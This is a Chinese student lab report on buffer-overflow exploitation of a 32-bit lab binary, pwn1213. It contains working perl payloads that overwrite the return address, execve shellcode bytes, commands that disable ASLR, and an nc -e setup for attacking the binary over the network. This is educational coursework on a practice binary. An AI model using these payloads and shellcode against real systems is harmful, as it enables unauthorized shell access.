逆向破解bof
实 验 报 告
课程:网络对抗技术
班级:2012 姓名:郭幸坤 学号:20201213
实验名称:PC平台逆向破解 实验日期:2023.2.28
实验目的
- 掌握缓冲区溢出的基本原理。
- 掌握反汇编工具、基础汇编语言和gdb调试ELF文件的方法。
- 掌握预防缓冲区溢出的方法,并且遵循这些方法。
实验内容
- 通过修改ELF文件的方式,运行shellcode
- 通过缓冲区溢出的方式,运行shellcode
- 通过缓冲区溢出的方式,注入shellcode并运行shellcode
- 远程攻击带有缓冲区溢出漏洞进程的主机
实验过程
(零)几个机器指令
1. NOP:CPU空转(机器码:0x90)
2. JNE:Jump if Not Equal(机器码:0x75)
3. JE: Jump if Equal(机器码:0x74)
4. JMP:无条件转移指令。
JMP 类型 释义 机器码
段内短直接 JMP SHORT mylabel 0xEB [signed byte] short 8bits ±126字节的地址范围
段内近直接 JMP NEAR PTR mylabel 0xE9 [low byte][high byte] word 16bits ±32768字节的地址范围
段间远直接 JMP DS:[mylabel] 0xEA [IP low][IP high][CS low][CS high] double word 32bits 全局
段内近间接 JMP BX 0xFF (0xFF25 0xFF15...)
5. CMP:比较指令(机器码:0x39 0x3C 0x83......)
(一)修改ELF文件从而运行shellcode
能修改ELF文件,意味着我们能随意操控这个程序。本次的目标是运行ELF文件中已经存在的shellcode。
思路:
- 找到shellcode的起始地址
- 在程序运行过程中,把eip寄存器的值变为shellcode的起始地址
修改eip寄存器值的方法:
- 用ret给eip赋值
- 用jmp给eip赋值
- 用call给eip赋值
过程:
- 使用objdump反汇编ELF文件“pwn1213”,找到getShell函数的地址
objdump -d pwn1213 | more #反汇编,使用more阅读结果
/getShell #使用more的搜索功能找到getShell函数
0x0804847d #getShell函数地址
- 使用vim改写ELF文件,把call foo改成call getShell,从而使eip的值为 0x0804847d
修改call指令的目标地址为getShell函数
objdump -d pwn1213 | more
/call #找一个离shellcode比较近的call指令 ==> main函数中的call指令 ==> e8 d7 ff ff ff
call指令实质是对当前eip寄存器(存储了call的下一条指令的地址)进行add操作。因此call指令跳转范围有限。
计算需要跳转的距离:getShell地址 - call下一条指令的地址 = 0x0804847d - 0x00484ba = -61 = FFFF FFC3
最后修改ELF文件
vim -b pwn1213 #vim打开二进制文件
%!xxd #使用xxd查看二进制文件
/d7 #搜索main函数中的call指令 “e8 d7 ff ff ff”
改为e8 c3 ff ff ff
%!xxd -r #转换回ELF二进制文件,保存退出
运行修改后的程序,拿到Shell
- 方法二:把call foo()改成jmp getShell(),也能成功。
(二)利用缓冲区溢出运行shellcode
思路:
- 找到有缓冲区溢出漏洞的代码
- 计算缓冲区长度(反汇编)
- 尝试构造字符串覆盖返回地址
- 将返回地址覆盖为getShell的地址
过程:
- objdump反汇编看看都有哪些函数。
发现foo()函数中的gets()函数可能存在缓冲区溢出漏洞。
getShell()的地址是0x0804847d
- 计算一下预设的缓冲区大小。
objdump -d pwn1213 | less
/foo
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
可以看到把-0x1c(%ebp)这个地址传参给了gets()函数。 0x1c == 28
换言之如果gets()接受28字节的数据,就会到(%ebp)。
32字节的数据就会覆盖%ebp的值,36字节的数据就会覆盖返回地址。
- 构造36字节的数据
先输入一个11112222333344445555666677778888abcd,爆出Segmentation fault,说明缓冲区溢出确实可行。
再用gdb看一下爆Segmentation fault时的寄存器的状态
gdb pwn1213
r
11112222333344445555666677778888abcd
info r
eax 0x25 37
ecx 0xffffffff -1
edx 0xffffffff -1
ebx 0x0 0
esp 0xffffd0f0 0xffffd0f0
ebp 0x38383838 0x38383838
esi 0x1 1
edi 0x8048380 134513536
eip 0x64636261 0x64636261
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
可以看到eip正好是最后四个字符“abcd”ascii码的倒序。说明最后4个字符覆盖了返回地址。
- 将最后4个字符换成getShell()函数的地址
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' | ./pwn1213 #直接报错退出了
关键是命令还没输入。要把 stdin(cmd)转为第一个命令的输出,这样才能变成 pwn1213的输入。
cat命令正好合适
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"';cat)|./pwn1213
gets()函数是行缓冲,上面这个payload输入之后,还要回车一下。直接加一个换行吧。
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat)|./pwn1213
成功Get Shell
(三)利用缓冲区溢出写入一个shellcode并运行它
思路:
- 找一个shellcode
- 把shellcode写入堆栈
- 计算shellcode地址
- 运行shellcode
过程
- 准备一个shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
- 写入缓冲区
一般来说都是往高地址端(栈底)写入。
一是因为shellcode的首地址比较好计算,就在返回地址的后面,0x8(foo函数的%ebp);
二是因为如果能找到jmp esp跳板,就可以不用费力计算shellcode地址了。
perl -e 'print "11111111222222223333333344444444\x返\x回\x地\x址\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > hack.bin
- 计算shellcode地址
shellcode就在运行foo()函数时的0x8(%ebp)
先把地址随机化关了。不然写入的shellcode的地址就不固定了。
sudo su
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
echo "2" > /proc/sys/kernel/randomize_va_space //开启地址随机化
再用gdb看一下foo的ebp的地址
终端1:
./pwn1213
终端2:
ps aux | grep pwn1213
20191213 9234 0.0 0.0 2516 736 pts/1 S+ 06:05 0:00 ./pwn1213
20191213 9276 0.0 0.1 6296 2260 pts/0 S+ 06:05 0:00 grep --color=auto pwn1213
gdb
attach 9234
disass foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
b *0x080484a8 #把断点设在foo()的gets()之后即可,因为进程已经被阻塞在gets()
在终端1敲一下回车,让gets()结束
c
info r
eax 0x45 69
ecx 0xf7e1e9b8 -136189512
edx 0x1 1
ebx 0xf7e1cff4 -136196108
esp 0xffffd05c 0xffffd05c
ebp 0x34343434 0x34343434
esi 0x80484d0 134513872
edi 0xf7ffcb80 -134231168
eip 0x80484ae 0x80484ae <foo+29>
shellcode地址 = 0x4(%esp) = 0xffffd05c + 0x4 = 0xffffd060
- 替换payload中的返回地址为shellcode地址
结尾再加一个换行符,让foo()的gets()不阻塞。
perl -e 'print"11111111222222223333333344444444\x60\xd0\xff\xff\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x80\xd0\xff\xff\x00"'>input
设置堆栈可执行
execstack -s pwn1213
注入payload,Get Shell
(cat hack.bin;cat) | ./pwn1213
(四)远程攻击运行了pwn1213的主机
20201213 NAT ip 192.168.204.116
kali NAT ip 192.168.204.114
20201213监听命令
sudo ufw allow 1213 //放开1213端口
nc -lvnp 1213 -e ./pwn1213
在Ubuntu上用nc连接kali 1213端口,并发送payload,试图用缓冲区溢出攻击,拿到shell
(cat hack.bin;cat) | nc 192.168.204.116 1213
参考资料
扩展
基于nc命令,编写一个在kali上能运行的机器码(反弹shell)并实施缓冲区溢出攻击。
先试试直接运行已有shellcode能不能行
vim test.c
int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
void (*fp)(void);
fp = (void*)shellcode;
fp();
}
gcc test.c
./a.out
爆出段错误 segmentation fault ???
能在pwn1213中缓冲区溢出运行成功,不能在kali中直接运行?
file 1213
pwn1213: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped
果然pwn1213是一个32位ELF程序,而kali是64位
sudo apt-get install lib32readline-dev
gcc -m32 test.c
execstack -s a.out
./a.out
接下来改机器码,给execve换个参数
先贴一张原shellcode的汇编代码
先试试把execve(/bin//sh,/bin//sh,0)换成execve(/bin//ls,/bin//ls,0)能不能运行
l的ascii是0x6c
把\x68\x2f\x2f\x73\x68(push //sh)改成 \x68\x2f\x2f\x6c\x73(push //ls)
int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
void (*fp)(void);
fp = (void*)shellcode;
fp();
}
可以啊,成功执行了ls
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY